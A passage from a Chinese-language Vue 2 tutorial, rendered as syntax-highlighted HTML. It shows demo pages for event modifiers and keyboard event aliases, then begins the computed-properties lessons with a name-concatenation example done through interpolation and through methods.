class="hljs-attribute">margin-top</span>: <span class="hljs-number">20px</span>;</span><br><span class="css">        &#125;</span><br><span class="css">        <span class="hljs-selector-class">.demo1</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">height</span>: <span class="hljs-number">50px</span>;</span><br><span class="css">            <span class="hljs-attribute">background-color</span>: skyblue;</span><br><span class="css">        &#125;</span><br><span class="css">        <span class="hljs-selector-class">.box1</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">padding</span>: <span class="hljs-number">5px</span>;</span><br><span class="css">            <span class="hljs-attribute">background-color</span>: skyblue;</span><br><span class="css">        &#125;</span><br><span class="css">        <span class="hljs-selector-class">.box2</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">padding</span>: <span class="hljs-number">5px</span>;</span><br><span class="css">            <span class="hljs-attribute">background-color</span>: orange;</span><br><span class="css">        &#125;</span><br><span class="css">        <span class="hljs-selector-class">.list</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">width</span>: <span class="hljs-number">200px</span>;</span><br><span class="css">            <span class="hljs-attribute">height</span>: <span class="hljs-number">200px</span>;</span><br><span class="css">            <span class="hljs-attribute">background-color</span>: peru;</span><br><span class="css">            <span class="hljs-attribute">overflow</span>: auto;</span><br><span class="css">        &#125;</span><br><span class="css">        <span class="hljs-selector-tag">li</span>&#123;</span><br><span class="css">            <span class="hljs-attribute">height</span>: <span class="hljs-number">100px</span>;</span><br><span class="css">        &#125;</span><br><span class="css">    </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!--</span><br><span class="hljs-comment">        Vue中的事件修饰符：</span><br><span class="hljs-comment">            1.prevent：阻止默认事件（常用）；</span><br><span class="hljs-comment">            2.stop：阻止事件冒泡（常用）；</span><br><span class="hljs-comment">            3.once：事件只触发一次（常用）；</span><br><span class="hljs-comment">            4.capture：使用事件的捕获模式；</span><br><span class="hljs-comment">            5.self：只有event.target是当前操作的元素时才触发事件；</span><br><span class="hljs-comment">            6.passive：事件的默认行为立即执行，无需等待事件回调执行完毕；</span><br><span class="hljs-comment">--&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器--&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>欢迎来到&#123;&#123;name&#125;&#125;学习<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 阻止默认事件（常用） --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">&quot;http://www.atguigu.com&quot;</span> @<span class="hljs-attr">click.prevent</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span>点我提示信息<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 阻止事件冒泡（常用） --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;demo1&quot;</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click.stop</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span>点我提示信息<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>        <span class="hljs-comment">&lt;!-- 修饰符可以连续写 --&gt;</span><br>        <span class="hljs-comment">&lt;!-- &lt;a href=&quot;http://www.atguigu.com&quot; @click.prevent.stop=&quot;showInfo&quot;&gt;点我提示信息&lt;/a&gt; --&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 事件只触发一次（常用） --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click.once</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span>点我提示信息<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 使用事件的捕获模式 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;box1&quot;</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;showMsg(1)&quot;</span>&gt;</span><br>        div1<br>        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;box2&quot;</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;showMsg(2)&quot;</span>&gt;</span><br>            div2<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 只有event.target是当前操作的元素时才触发事件； --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;demo1&quot;</span> @<span class="hljs-attr">click.self</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span>点我提示信息<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br>    <span class="hljs-comment">&lt;!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span> @<span class="hljs-attr">wheel.passive</span>=<span class="hljs-string">&quot;demo&quot;</span> <span class="hljs-attr">class</span>=<span class="hljs-string">&quot;list&quot;</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>2<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>3<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span>&gt;</span>4<span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span> <span class="hljs-comment">//阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>:<span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>:&#123;</span><br><span class="javascript">            <span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;尚硅谷&#x27;</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>:&#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">showInfo</span>(<span class="hljs-params">e</span>)</span>&#123;</span><br><span class="javascript">                alert(<span class="hljs-string">&#x27;同学你好！&#x27;</span>)</span><br><span class="javascript">                <span class="hljs-comment">// console.log(e.target)</span></span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">showMsg</span>(<span class="hljs-params">msg</span>)</span>&#123;</span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(msg)</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">demo</span>(<span class="hljs-params"></span>)</span>&#123;</span><br><span class="javascript">                <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">100000</span>; i++) &#123;</span><br><span class="javascript">                    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&#x27;#&#x27;</span>)</span><br><span class="javascript">                &#125;</span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&#x27;累坏了&#x27;</span>)</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;)</span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<blockquote>
<p>总结：Vue中的事件修饰符</p>
<ol>
<li><code>prevent</code>：阻止默认事件（常用）；</li>
<li><code>stop</code>：阻止事件冒泡（常用）；</li>
<li><code>once</code>：事件只触发一次（常用）；</li>
<li><code>capture</code>：使用事件的捕获模式；</li>
<li><code>self</code>：只有event.target是当前操作的元素时才触发事件；</li>
<li><code>passive</code>：事件的默认行为立即执行，无需等待事件回调执行完毕；</li>
</ol>
</blockquote>
<h3 id="7-3-键盘事件"><a href="#7-3-键盘事件" class="headerlink" title="7.3  键盘事件"></a>7.3  键盘事件</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>键盘事件<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>欢迎来到&#123;&#123;name&#125;&#125;学习<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">&quot;按下回车提示输入&quot;</span> @<span class="hljs-attr">keyup.enter</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">&quot;按下CapsLock提示输入&quot;</span> @<span class="hljs-attr">keyup.caps-lock</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">&quot;按下回车提示输入（自定义别名）&quot;</span> @<span class="hljs-attr">keyup.huiche</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">&quot;按下Tab提示输入&quot;</span> @<span class="hljs-attr">keydown.tab</span>=<span class="hljs-string">&quot;showInfo&quot;</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 自定义键盘别名按键</span></span><br><span class="javascript">    Vue.config.keyCodes.huiche = <span class="hljs-number">13</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span>,</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">showInfo</span>(<span class="hljs-params">e</span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-comment">// 原始方法，判断按键 keycode</span></span><br><span class="javascript">                <span class="hljs-comment">/*if (e.keyCode === 13) &#123;</span></span><br><span class="hljs-comment"><span class="javascript">                &#125;*/</span></span><br><span class="javascript">                <span class="hljs-comment">// console.log(e)</span></span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(e.target.value)</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<blockquote>
<p>总结：</p>
<ol>
<li>Vue 中常用的按键别名<ul>
<li>回车 =&gt; <code>enter</code></li>
<li>删除 =&gt; <code>delete</code>（捕获 backspace 键和 del 键）</li>
<li>退出 =&gt; <code>esc</code></li>
<li>空格 =&gt; <code>space</code></li>
<li>换行 =&gt; <code>tab</code>（特殊，必须配合 keydown 使用）</li>
<li>上 =&gt; <code>up</code></li>
<li>下 =&gt; <code>down</code></li>
<li>左 =&gt; <code>left</code></li>
<li>右 =&gt; <code>right</code></li>
</ul>
</li>
<li>Vue 中未提供别名的按键，可以使用按键原始的 key 值去绑定，当当 key 值为多个单词时，要注意转为 xxx-xxx（短横线命名）。</li>
<li>系统修饰键（ctrl、alt、shift、win）存在特殊用法：<ul>
<li>当配合 <code>keyup</code> 使用时，按下修饰键的同时，需要按下其他键，随后释放，绑定的事件才会被触发</li>
<li>当配合 <code>keydown</code> 使用时，可以正常按下触发事件。</li>
</ul>
</li>
<li>可以使用 Vue.config.KeyCodes.自定义键名 = 键码，来自定义按键别名，使用时就可以 <code>@keyip.自定义健名=&quot;触发事件&quot;</code></li>
</ol>
</blockquote>
<h2 id="8-计算属性"><a href="#8-计算属性" class="headerlink" title="8.计算属性"></a>8.计算属性</h2><h3 id="8-1-姓名案例-插值语法实现"><a href="#8-1-姓名案例-插值语法实现" class="headerlink" title="8.1 姓名案例_插值语法实现"></a>8.1 姓名案例_插值语法实现</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>姓名案例_插值语法实现<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    姓：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;firstName&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    名：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;lastName&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>   姓名：<span class="hljs-tag">&lt;<span class="hljs-name">sapn</span>&gt;</span>&#123;&#123;firstName.slice(0, 2)&#125;&#125; &#123;&#123;lastName.slice(0, 4)&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">sapn</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">firstName</span>: <span class="hljs-string">&quot;张&quot;</span>,</span><br><span class="javascript">            <span class="hljs-attr">lastName</span>: <span class="hljs-string">&quot;三&quot;</span></span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>这就是使用了我们之前学习的技术，但是在引用数据时存在一定缺陷</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html">姓名：<span class="hljs-tag">&lt;<span class="hljs-name">sapn</span>&gt;</span>&#123;&#123;firstName.slice(0, 2)&#125;&#125; &#123;&#123;lastName.slice(0, 4)&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">sapn</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p> <a target="_blank" rel="noopener" href="https://cn.vuejs.org/v2/style-guide/#%E6%A8%A1%E6%9D%BF%E4%B8%AD%E7%AE%80%E5%8D%95%E7%9A%84%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%BC%BA%E7%83%88%E6%8E%A8%E8%8D%90">详见Vue.js风格指南</a></p>
<h3 id="8-2-姓名案例-methods实现"><a href="#8-2-姓名案例-methods实现" class="headerlink" title="8.2 姓名案例_methods实现"></a>8.2 姓名案例_methods实现</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>姓名案例_methods实现<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    姓：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;firstName&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    名：<span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;lastName&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName()&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName()&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName()&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span>&gt;</span><br>    姓名：<span class="hljs-tag">&lt;<span class="hljs-name">span</span>&gt;</span>&#123;&#123;fullName()&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">firstName</span>: <span class="hljs-string">&quot;张&quot;</span>,</span><br><span class="javascript">            <span class="hljs-attr">lastName</span>: <span class="hljs-string">&quot;三&quot;</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-comment">// 改方法在每次值更改后都会重新调用，返回最新的值</span></span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">fullName</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">console</span>.log(<span class="hljs-string">&quot;fullName 方法被调用&quot;</span>)</span><br><span class="javascript">                <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.firstName.slice(<span class="hljs-number">0</span>, <span class="hljs-number">2</span>) + <span class="hljs-string">&#x27;-&#x27;</span> + <span class="hljs-built_in">this</span>.lastName.slice(<span class="hljs-number">0</span>, <span class="hljs-number">4</span>);</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span 